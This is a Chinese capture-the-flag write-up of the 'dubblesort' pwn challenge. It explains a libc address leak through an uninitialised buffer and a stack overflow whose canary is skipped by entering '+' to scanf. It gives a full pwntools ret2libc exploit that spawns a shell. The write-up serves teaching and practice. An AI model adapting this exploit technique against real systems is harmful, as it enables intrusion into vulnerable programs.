天天看點

攻防世界PWN之dubblesort題解dubblesort

dubblesort

首先看一下程式的保護機制

攻防世界PWN之dubblesort題解dubblesort

保護全開,并且是一個32位程式

然後,我們用IDA分析一下

攻防世界PWN之dubblesort題解dubblesort

這裡,有兩個漏洞

第一個是在調用read之前,沒有調用memset對buf清空,是以,buf裡可能之前會有一些殘留的關鍵資料

第二個是,輸入的整數個數沒有上限,可以造成資料溢出,其實也就是棧溢出。

我們在read斷點,然後觀察棧中的資料,發現資料還未輸入時,棧裡就有一些關鍵資料

攻防世界PWN之dubblesort題解dubblesort

我們可以輸入7 * 4 = 28個字元,然後printf時,就會把接下來的資料列印出來,直到遇\x00

攻防世界PWN之dubblesort題解dubblesort

洩露這個資料後(目前為0xF7797244),然後我們找到libc的基位址,目前為0xF75E9000

攻防世界PWN之dubblesort題解dubblesort

然後我,我們算的它們之間的偏移

Off = 0xF7797244 - 0xF75E9000 = 0x1AE244

于是,我們就這樣洩露libc位址

  1. #洩露位址并計算出libc的位址  
  2. payload = 'a'*0x1C  
  3. sh.sendafter('name :',payload)  
  4. sh.recvuntil(payload)  
  5. #計算libc加載位址  
  6. libc_base = u32(sh.recv(4)) - off  
  7. system_addr = libc_base + libc.sym['system']  
  8. binsh_addr = libc_base + libc.search('/bin/sh').next()  

接下來,我們來做一個實驗,讓我們先抛開本題,來看看這樣的代碼

  1. #include <stdio.h>  
  2. int main() {  
  3.     int a = 10;  
  4.     while (true) {  
  5.         scanf("%u",&a);  
  6.         printf("%u\n",a);  
  7.     }  
  8. }  

然後,我們發現,當我們輸入+或-符号,scanf就直接跳過了對a的輸入

攻防世界PWN之dubblesort題解dubblesort

經過測試,%u、%x、%d等都有這種特性

然後,我們繼續分析此題,

攻防世界PWN之dubblesort題解dubblesort

我們接下來會輸入n個整數,存入v13的空間處,而v13在ebp-0x70處,v15存的是canary的值,它位于ebp-0x10處,我們不能把canary的值給改了,我們需要保留它,是以,我們先輸入(0x70-0x10)/4 = 24個整數,然後接下來輸入+或-号,跳過目前輸入,然後我們到達ebp-0xC處,距離傳回位址ebp+0x4還差0x10/4=4個,是以,我們繼續輸入4個整數,接下來,我們再輸入ROP即可

注意,本題IDA分析出來的位置相對于ebp不準,但是各個變量之間的相對關系還是準的

實際,距離傳回位址ebp+0x4還差7個,調試調試就知道了

由于,我們輸入的資料會做一遍升序排序,是以,為了保留我們輸入的順序,我們前24個資料都輸入0,然後輸入+或-跳過canary,然後輸入(7 + 1 + 1)個system的位址整數值,然後輸入一個binsh_addr的整數值,程式退出main後,便執行shell

因為system_addr總是小于binsh_addr,而這兩個位址值一般大于canary的值,canary是個随機生成的數,如果有時不滿足這個大小關系,隻需重新執行程式,多試幾次即可。

于是,我們最終的exp腳本是這樣的

  1. #coding:utf8  
  2. from pwn import *  
  3. sh = process('./dubblesort',env={"LD_PRELOAD" : "./libc_32.so.6"})  
  4. #sh = remote('111.198.29.45',57605)  
  5. libc = ELF('./libc_32.so.6')  
  6. off = 0x1AE244  
  7. #洩露位址并計算出libc的位址  
  8. payload = 'a'*0x1C  
  9. sh.sendafter('name :',payload)  
  10. sh.recvuntil(payload)  
  11. #計算libc加載位址  
  12. libc_base = u32(sh.recv(4)) - off  
  13. system_addr = libc_base + libc.sym['system']  
  14. binsh_addr = libc_base + libc.search('/bin/sh').next()  
  15. print 'libc_base=',hex(libc_base)  
  16. print 'system_addr=',hex(system_addr)  
  17. n = 35  
  18. sh.sendlineafter('sort :',str(n))  
  19. for i in range(0,n-11):  
  20.    sh.sendlineafter('number :',str(0))  
  21. sh.sendlineafter('number :','+')  
  22. for i in range(0,9):  
  23.    sh.sendlineafter('number :',str(system_addr))  
  24. sh.sendlineafter('number :',str(binsh_addr))  
  25. sh.interactive()  

本題告訴我們,

用read讀取資料到緩沖區前,先對緩沖區初始化

數組要檢查下标越界